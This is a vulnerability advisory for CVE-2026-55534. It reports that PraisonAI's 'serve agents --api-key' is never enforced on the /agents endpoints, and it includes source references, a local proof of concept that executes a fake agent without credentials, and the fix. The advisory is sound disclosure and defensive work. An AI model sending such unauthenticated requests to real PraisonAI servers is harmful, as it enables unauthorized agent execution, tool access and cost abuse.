CVE-2026-55534: PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution
Summary
PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.
An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agentname} without Authorization, X-API-Key, a query token, or any other credential.
Confirmed vulnerable: - v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133
Likely affected range: >= 4.6.34, <= 4.6.48.
This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask apiserver.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.
### Details
The CLI accepts and forwards an API key:
- src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents - src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key - src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key - src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand - src/praisonai/praisonai/cli/features/serve.py:199 parses apikey into the config
However, createagentsapp() never uses config["apikey"] to create middleware or a FastAPI auth dependency:
- src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app - src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency - src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agentname} with no auth dependency - src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly
The same app also mounts praisonai.api.agentinvoke, whose /api/v1/agents/{agentid}/ invoke route is protected separately by CALLSERVERTOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.
### PoC
This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler.createagentsapp() path with apikey set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.
python #!/usr/bin/env python3 from future import annotations
import sys import tempfile from pathlib import Path
REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ]
class FakeAgent: def init(self): self.calls = []
def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}"
def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agentinvoke
with tempfile.TemporaryDirectory() as tmp: agentsyaml = Path(tmp) / "agents.yaml" agentsyaml.writetext( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", )
handler = ServeHandler() app = handler.createagentsapp( { "file": str(agentsyaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "apikey": "operator-secret-api-key", } )
fakeagent = FakeAgent() agentinvoke.registeragent("poc", fakeagent)
client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, )
print(f"STATUSCODE={response.statuscode}") print(f"RESPONSEJSON={response.json()!r}") print(f"AGENTCALLS={fakeagent.calls!r}") print(f"UNAUTHENTICATEDAGENTEXECUTED={fakeagent.calls == ['unauthenticated request']}")
if name == "main": main()
Run:
cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py
Observed output:
STATUSCODE=200 RESPONSEJSON={'response': 'fake-agent-ran:unauthenticated request'} AGENTCALLS=['unauthenticated request'] UNAUTHENTICATEDAGENTEXECUTED=True
The important condition is that the app was configured with:
"apikey": "operator-secret-api-key"
but the request was sent without any auth header:
client.post("/agents/poc", json={"query": "unauthenticated request"})
The agent still executed and returned HTTP 200.
### Impact
Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.
Impact depends on the configured agents and their tools, but can include:
- unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations.
This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.
### Suggested fix
Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.
Recommended changes:
- In createagentsapp(), derive an auth dependency from config.get("apikey"). - Apply it to both POST {path} and POST /agents/{agentname}. - Prefer Authorization: Bearer <apikey>. Optionally also support X-API-Key for compatibility.
- Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALLSERVERTOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agentname} are covered.
Other sources
PraisonAI is a multi-agent teams system. From praisonai 4.6.34 until 4.6.58, praisonai serve agents accepts --api-key but createagentsapp() does not authenticate POST /agents or POST /agents/{agentname}. A network caller can invoke configured agents without credentials even when an API key was supplied. This issue is fixed in version 4.6.58.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.6.58Patch e5928449f73f66cc8af1de61621aa974ab255133 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.6.58Patch d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - Configuration
Ensure the FastAPI auth dependency created in _create_agents_app() uses config.get("api_key") and is enforced on both POST {path} and POST /agents/{agent_name} routes so unauthenticated requests return 401/403.
PraisonAI praisonai serve agents (FastAPI serve agents routes) Authentication requirement for public agent invocation compatibility endpoints = Require the configured api_key on every invocation of POST /agents and POST /agents/{agent_name} (fail closed) - Configuration
Update auth handling so that when the configured --api-key (config['api_key']) is set, agents are invoked only when the caller supplies Authorization: Bearer <api_key> (and/or X-API-Key if implemented), not when no header is provided.
PraisonAI praisonai serve agents (auth header handling) Header scheme for api_key = Prefer Authorization: Bearer <api_key> (and optionally support X-API-Key) - Configuration
Compare the supplied api_key to config['api_key'] using constant-time comparison to avoid timing attacks.
PraisonAI praisonai serve agents (api_key comparison) API key comparison method = Constant-time comparison